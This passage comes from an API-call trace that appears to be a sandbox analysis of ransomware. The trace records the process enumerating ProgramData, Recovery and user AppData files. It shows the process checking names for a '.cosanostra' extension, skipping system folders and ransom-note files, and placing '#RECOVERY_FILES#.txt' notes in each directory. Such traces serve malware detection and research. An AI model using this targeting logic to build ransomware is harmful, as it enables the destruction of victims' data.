lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 0 [0082.249] FindClose (in: hFindFile=0x25a870 | out: hFindFile=0x25a870) returned 1 [0082.249] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\#RECOVERY_FILES#.txt") returned 135 [0082.249] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\#RECOVERY_FILES#.txt") returned 135 [0082.249] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0 [0082.249] FindClose (in: hFindFile=0x25a830 | out: hFindFile=0x25a830) returned 1 [0082.249] wnsprintfW (in: pszDest=0x2a0168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\#RECOVERY_FILES#.txt") returned 112 [0082.249] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\#RECOVERY_FILES#.txt") returned 112 [0082.250] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0 [0082.250] FindClose (in: hFindFile=0x25a7f0 | out: hFindFile=0x25a7f0) returned 1 [0082.250] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\#RECOVERY_FILES#.txt") returned 103 [0082.250] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\#RECOVERY_FILES#.txt") returned 103 [0082.250] FindNextFileW (in: hFindFile=0x25a7b0, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0082.250] lstrcmpiW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="Windows") returned -1 [0082.250] lstrlenW (lpString="Windows") returned 7 [0082.250] lstrcmpiW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="Program Files") returned -1 [0082.250] lstrlenW (lpString="Program Files") returned 13 [0082.250] lstrcmpiW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="Program Files (x86)") returned -1 [0082.250] lstrlenW (lpString="Program Files (x86)") returned 19 [0082.250] lstrcmpiW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="$Recycle.bin") returned 1 [0082.250] lstrlenW (lpString="$Recycle.bin") returned 12 [0082.250] lstrcmpiW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="System Volume Information") returned -1 [0082.250] lstrlenW (lpString="System Volume Information") returned 25 [0082.250] lstrcmpW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2=".") returned 1 [0082.251] lstrcmpW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="..") returned 1 [0082.251] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\*", lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0x25a7f0 [0082.251] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0082.251] lstrlenW (lpString="Windows") returned 7 [0082.251] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0082.251] lstrlenW (lpString="Program Files") returned 13 [0082.251] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0082.251] lstrlenW (lpString="Program Files (x86)") returned 19 [0082.251] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0082.251] lstrlenW (lpString="$Recycle.bin") returned 12 [0082.251] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0082.251] lstrlenW (lpString="System Volume Information") returned 25 [0082.251] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0082.251] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0082.251] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0082.251] lstrlenW (lpString="Windows") returned 7 [0082.251] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0082.251] lstrlenW (lpString="Program Files") returned 13 [0082.251] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0082.251] lstrlenW (lpString="Program Files (x86)") returned 19 [0082.251] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0082.251] lstrlenW (lpString="$Recycle.bin") returned 12 [0082.251] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0082.251] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0082.251] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0082.251] lstrcmpW (lpString1="packages", lpString2=".") returned 1 [0082.252] lstrcmpW (lpString1="packages", lpString2="..") returned 1 [0082.255] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0082.255] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0082.255] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0082.255] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0082.255] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0082.255] lstrcmpW (lpString1="vcRuntimeAdditional_amd64", lpString2=".") returned 1 [0082.255] lstrcmpW (lpString1="vcRuntimeAdditional_amd64", lpString2="..") returned 1 [0082.262] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0082.262] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0082.262] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0082.262] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0082.262] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0082.262] StrStrIW (lpFirst="cab1.cab", lpSrch=".cosanostra") returned 0x0 [0082.263] lstrcmpW (lpString1="cab1.cab", lpString2="#RECOVERY_FILES#.txt") returned 1 [0082.263] lstrcmpW (lpString1="cab1.cab", lpString2="_uninstalling_.png") returned 1 [0082.263] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab") returned 127 [0082.263] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0082.263] StrStrIW (lpFirst="vc_runtimeAdditional_x64.msi", lpSrch=".cosanostra") returned 0x0 [0082.263] lstrcmpW (lpString1="vc_runtimeAdditional_x64.msi", lpString2="#RECOVERY_FILES#.txt") returned 1 [0082.263] lstrcmpW (lpString1="vc_runtimeAdditional_x64.msi", lpString2="_uninstalling_.png") returned 1 [0082.263] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi") returned 147 [0082.263] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 0 [0082.263] FindClose (in: hFindFile=0x25a870 | out: hFindFile=0x25a870) returned 1 [0082.263] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\#RECOVERY_FILES#.txt") returned 139 [0082.263] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\#RECOVERY_FILES#.txt") returned 139 [0082.263] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0 [0082.263] FindClose (in: hFindFile=0x25a830 | out: hFindFile=0x25a830) returned 1 [0082.263] wnsprintfW (in: pszDest=0x2a0168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\#RECOVERY_FILES#.txt") returned 113 [0082.263] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\#RECOVERY_FILES#.txt") returned 113 [0082.264] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0 [0082.264] FindClose (in: hFindFile=0x25a7f0 | out: hFindFile=0x25a7f0) returned 1 [0082.265] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\#RECOVERY_FILES#.txt") returned 104 [0082.265] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\#RECOVERY_FILES#.txt") returned 104 [0082.266] FindNextFileW (in: hFindFile=0x25a7b0, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0082.267] lstrcmpW (lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2=".") returned 1 [0082.267] lstrcmpW (lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2="..") returned 1 [0082.267] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0082.267] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0082.267] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0082.267] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0082.267] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0082.267] StrStrIW (lpFirst="state.rsm", lpSrch=".cosanostra") returned 0x0 [0082.267] lstrcmpW (lpString1="state.rsm", lpString2="#RECOVERY_FILES#.txt") returned 1 [0082.267] lstrcmpW (lpString1="state.rsm", lpString2="_uninstalling_.png") returned 1 [0082.267] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm") returned 81 [0082.267] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0082.267] StrStrIW (lpFirst="VC_redist.x64.exe", lpSrch=".cosanostra") returned 0x0 [0082.267] lstrcmpW (lpString1="VC_redist.x64.exe", lpString2="#RECOVERY_FILES#.txt") returned 1 [0082.268] lstrcmpW (lpString1="VC_redist.x64.exe", lpString2="_uninstalling_.png") returned 1 [0082.268] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe") returned 89 [0082.268] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0 [0082.268] FindClose (in: hFindFile=0x25a7f0 | out: hFindFile=0x25a7f0) returned 1 [0082.268] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\#RECOVERY_FILES#.txt") returned 92 [0082.268] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\#RECOVERY_FILES#.txt") returned 92 [0082.268] FindNextFileW (in: hFindFile=0x25a7b0, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0082.268] lstrcmpW (lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2=".") returned 1 [0082.268] lstrcmpW (lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2="..") returned 1 [0082.269] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0082.269] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0082.269] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0082.269] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0082.269] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0082.269] StrStrIW (lpFirst="state.rsm", lpSrch=".cosanostra") returned 0x0 [0082.269] lstrcmpW (lpString1="state.rsm", lpString2="#RECOVERY_FILES#.txt") returned 1 [0082.269] lstrcmpW (lpString1="state.rsm", lpString2="_uninstalling_.png") returned 1 [0082.269] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm") returned 81 [0082.269] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0082.269] StrStrIW (lpFirst="vcredist_x86.exe", lpSrch=".cosanostra") returned 0x0 [0082.269] lstrcmpW (lpString1="vcredist_x86.exe", lpString2="#RECOVERY_FILES#.txt") returned 1 [0082.269] lstrcmpW (lpString1="vcredist_x86.exe", lpString2="_uninstalling_.png") returned 1 [0082.269] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe") returned 88 [0082.269] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0 [0082.269] FindClose (in: hFindFile=0x25a7f0 | out: hFindFile=0x25a7f0) returned 1 [0082.269] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\#RECOVERY_FILES#.txt") returned 92 [0082.269] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\#RECOVERY_FILES#.txt") returned 92 [0082.269] FindNextFileW (in: hFindFile=0x25a7b0, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0082.269] lstrcmpW (lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2=".") returned 1 [0082.269] lstrcmpW (lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2="..") returned 1 [0082.270] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0082.270] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0082.270] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0082.270] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0082.270] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0082.270] StrStrIW (lpFirst="state.rsm", lpSrch=".cosanostra") returned 0x0 [0082.270] lstrcmpW (lpString1="state.rsm", lpString2="#RECOVERY_FILES#.txt") returned 1 [0082.270] lstrcmpW (lpString1="state.rsm", lpString2="_uninstalling_.png") returned 1 [0082.270] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm") returned 81 [0082.270] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0082.270] StrStrIW (lpFirst="VC_redist.x86.exe", lpSrch=".cosanostra") returned 0x0 [0082.270] lstrcmpW (lpString1="VC_redist.x86.exe", lpString2="#RECOVERY_FILES#.txt") returned 1 [0082.270] lstrcmpW (lpString1="VC_redist.x86.exe", lpString2="_uninstalling_.png") returned 1 [0082.270] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe") returned 89 [0082.270] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0 [0082.270] FindClose (in: hFindFile=0x25a7f0 | out: hFindFile=0x25a7f0) returned 1 [0082.271] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\#RECOVERY_FILES#.txt") returned 92 [0082.271] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\#RECOVERY_FILES#.txt") returned 92 [0082.272] StrStrIW (lpFirst="cab1.cab", lpSrch=".cosanostra") returned 0x0 [0082.272] lstrcmpW (lpString1="cab1.cab", lpString2="#RECOVERY_FILES#.txt") returned 1 [0082.272] lstrcmpW (lpString1="cab1.cab", lpString2="_uninstalling_.png") returned 1 [0082.272] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab") returned 124 [0082.272] StrStrIW (lpFirst="vc_runtimeAdditional_x86.msi", lpSrch=".cosanostra") returned 0x0 [0082.272] lstrcmpW (lpString1="vc_runtimeAdditional_x86.msi", lpString2="#RECOVERY_FILES#.txt") returned 1 [0082.272] lstrcmpW (lpString1="vc_runtimeAdditional_x86.msi", lpString2="_uninstalling_.png") returned 1 [0082.272] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi") returned 144 [0082.276] StrStrIW (lpFirst="jaureglist.xml", lpSrch=".cosanostra") returned 0x0 [0082.276] lstrcmpW (lpString1="jaureglist.xml", lpString2="#RECOVERY_FILES#.txt") returned 1 [0082.276] lstrcmpW (lpString1="jaureglist.xml", lpString2="_uninstalling_.png") returned 1 [0082.276] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Sun\\Java\\Java Update\\jaureglist.xml") returned 54 [0082.278] StrStrIW (lpFirst=".", lpSrch=".cosanostra") returned 0x0 [0082.278] lstrcmpW (lpString1=".", lpString2="#RECOVERY_FILES#.txt") returned 1 [0082.278] lstrcmpW (lpString1=".", lpString2="_uninstalling_.png") returned -1 [0082.278] lstrlenW (lpString="\\\\?\\C:\\Recovery\\.") returned 17 [0082.278] StrStrIW (lpFirst="..", lpSrch=".cosanostra") returned 0x0 [0082.278] lstrcmpW (lpString1="..", lpString2="#RECOVERY_FILES#.txt") returned 1 [0082.278] lstrcmpW (lpString1="..", lpString2="_uninstalling_.png") returned -1 [0082.278] lstrlenW (lpString="\\\\?\\C:\\Recovery\\..") returned 18 [0082.279] StrStrIW (lpFirst=".", lpSrch=".cosanostra") returned 0x0 [0082.279] lstrcmpW (lpString1=".", lpString2="#RECOVERY_FILES#.txt") returned 1 [0082.279] lstrcmpW (lpString1=".", lpString2="_uninstalling_.png") returned -1 [0082.279] lstrlenW (lpString="\\\\?\\C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\.") returned 54 [0082.279] StrStrIW (lpFirst="..", lpSrch=".cosanostra") returned 0x0 [0082.279] lstrcmpW (lpString1="..", lpString2="#RECOVERY_FILES#.txt") returned 1 [0082.279] lstrcmpW (lpString1="..", lpString2="_uninstalling_.png") returned -1 [0082.279] lstrlenW (lpString="\\\\?\\C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\..") returned 55 [0082.279] StrStrIW (lpFirst="boot.sdi", lpSrch=".cosanostra") returned 0x0 [0082.279] lstrcmpW (lpString1="boot.sdi", lpString2="#RECOVERY_FILES#.txt") returned 1 [0082.279] lstrcmpW (lpString1="boot.sdi", lpString2="_uninstalling_.png") returned 1 [0082.279] lstrlenW (lpString="\\\\?\\C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi") returned 61 [0082.279] StrStrIW (lpFirst="Winre.wim", lpSrch=".cosanostra") returned 0x0 [0082.279] lstrcmpW (lpString1="Winre.wim", lpString2="#RECOVERY_FILES#.txt") returned 1 [0082.279] lstrcmpW (lpString1="Winre.wim", lpString2="_uninstalling_.png") returned 1 [0082.279] lstrlenW (lpString="\\\\?\\C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\Winre.wim") returned 62 [0082.279] StrStrIW (lpFirst=".", lpSrch=".cosanostra") returned 0x0 [0082.279] lstrcmpW (lpString1=".", lpString2="#RECOVERY_FILES#.txt") returned 1 [0082.279] lstrcmpW (lpString1=".", lpString2="_uninstalling_.png") returned -1 [0082.279] lstrlenW (lpString="\\\\?\\C:\\Users\\.") returned 14 [0082.279] StrStrIW (lpFirst="..", lpSrch=".cosanostra") returned 0x0 [0082.279] lstrcmpW (lpString1="..", lpString2="#RECOVERY_FILES#.txt") returned 1 [0082.279] lstrcmpW (lpString1="..", lpString2="_uninstalling_.png") returned -1 [0082.279] lstrlenW (lpString="\\\\?\\C:\\Users\\..") returned 15 [0082.280] StrStrIW (lpFirst=".", lpSrch=".cosanostra") returned 0x0 [0082.280] lstrcmpW (lpString1=".", lpString2="#RECOVERY_FILES#.txt") returned 1 [0082.280] lstrcmpW (lpString1=".", lpString2="_uninstalling_.png") returned -1 [0082.280] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\.") returned 43 [0082.280] StrStrIW (lpFirst="..", lpSrch=".cosanostra") returned 0x0 [0082.280] lstrcmpW (lpString1="..", lpString2="#RECOVERY_FILES#.txt") returned 1 [0082.280] lstrcmpW (lpString1="..", lpString2="_uninstalling_.png") returned -1 [0082.280] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\..") returned 44 [0082.354] StrStrIW (lpFirst="AdobeCMapFnt10.lst", lpSrch=".cosanostra") returned 0x0 [0082.355] lstrcmpW (lpString1="AdobeCMapFnt10.lst", lpString2="#RECOVERY_FILES#.txt") returned 1 [0082.355] lstrcmpW (lpString1="AdobeCMapFnt10.lst", lpString2="_uninstalling_.png") returned 1 [0082.355] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst") returned 85 [0082.355] StrStrIW (lpFirst="AdobeSysFnt10.lst", lpSrch=".cosanostra") returned 0x0 [0082.355] lstrcmpW (lpString1="AdobeSysFnt10.lst", lpString2="#RECOVERY_FILES#.txt") returned 1 [0082.355] lstrcmpW (lpString1="AdobeSysFnt10.lst", lpString2="_uninstalling_.png") returned 1 [0082.355] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst") returned 84 [0082.416] StrStrIW (lpFirst="AcroFnt10.lst", lpSrch=".cosanostra") returned 0x0 [0082.416] lstrcmpW (lpString1="AcroFnt10.lst", lpString2="#RECOVERY_FILES#.txt") returned 1 [0082.417] lstrcmpW (lpString1="AcroFnt10.lst", lpString2="_uninstalling_.png") returned 1 [0082.417] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst") returned 86 [0082.417] StrStrIW (lpFirst="SharedDataEvents", lpSrch=".cosanostra") returned 0x0 [0082.417] lstrcmpW (lpString1="SharedDataEvents", lpString2="#RECOVERY_FILES#.txt") returned 1 [0082.417] lstrcmpW (lpString1="SharedDataEvents", lpString2="_uninstalling_.png") returned 1 [0082.417] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\SharedDataEvents") returned 83 [0082.417] StrStrIW (lpFirst="UserCache.bin", lpSrch=".cosanostra") returned 0x0 [0082.417] lstrcmpW (lpString1="UserCache.bin", lpString2="#RECOVERY_FILES#.txt") returned 1 [0082.417] lstrcmpW (lpString1="UserCache.bin", lpString2="_uninstalling_.png") returned 1 [0082.417] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\UserCache.bin") returned 80 [0082.419] StrStrIW (lpFirst="ACECache11.lst", lpSrch=".cosanostra") returned 0x0 [0082.419] lstrcmpW (lpString1="ACECache11.lst", lpString2="#RECOVERY_FILES#.txt") returned 1 [0082.419] lstrcmpW (lpString1="ACECache11.lst", lpString2="_uninstalling_.png") returned 1 [0082.419] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\ACECache11.lst") returned 74 [0082.430] StrStrIW (lpFirst="wscRGB.icc", lpSrch=".cosanostra") returned 0x0 [0082.430] lstrcmpW (lpString1="wscRGB.icc", lpString2="#RECOVERY_FILES#.txt") returned 1 [0082.430] lstrcmpW (lpString1="wscRGB.icc", lpString2="_uninstalling_.png") returned 1 [0082.430] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc") returned 79 [0082.430] StrStrIW (lpFirst="wsRGB.icc", lpSrch=".cosanostra") returned 0x0 [0082.430] lstrcmpW (lpString1="wsRGB.icc", lpString2="#RECOVERY_FILES#.txt") returned 1 [0082.430] lstrcmpW (lpString1="wsRGB.icc", lpString2="_uninstalling_.png") returned 1 [0082.430] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc") returned 78 [0082.885] StrStrIW (lpFirst="GoogleUpdateSetup.exe", lpSrch=".cosanostra") returned 0x0 [0082.885] lstrcmpW (lpString1="GoogleUpdateSetup.exe", lpString2="#RECOVERY_FILES#.txt") returned 1 [0082.885] lstrcmpW (lpString1="GoogleUpdateSetup.exe", lpString2="_uninstalling_.png") returned 1 [0082.885] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\GoogleUpdateSetup.exe") returned 164 [0083.951] StrStrIW (lpFirst="clickonce_bootstrap.exe", lpSrch=".cosanostra") returned 0x0 [0083.951] lstrcmpW (lpString1="clickonce_bootstrap.exe", lpString2="#RECOVERY_FILES#.txt") returned 1 [0083.951] lstrcmpW (lpString1="clickonce_bootstrap.exe", lpString2="_uninstalling_.png") returned 1 [0083.951] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe") returned 161 [0083.951] StrStrIW (lpFirst="clickonce_bootstrap.exe.cdf-ms", lpSrch=".cosanostra") returned 0x0 [0083.951] lstrcmpW (lpString1="clickonce_bootstrap.exe.cdf-ms", lpString2="#RECOVERY_FILES#.txt") returned 1 [0083.951] lstrcmpW (lpString1="clickonce_bootstrap.exe.cdf-ms", lpString2="_uninstalling_.png") returned 1 [0083.951] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cdf-ms") returned 168 [0083.951] StrStrIW (lpFirst="clickonce_bootstrap.exe.manifest", lpSrch=".cosanostra") returned 0x0 [0083.951] lstrcmpW (lpString1="clickonce_bootstrap.exe.manifest", lpString2="#RECOVERY_FILES#.txt") returned 1 [0083.951] lstrcmpW (lpString1="clickonce_bootstrap.exe.manifest", lpString2="_uninstalling_.png") returned 1 [0083.951] lstrlenW 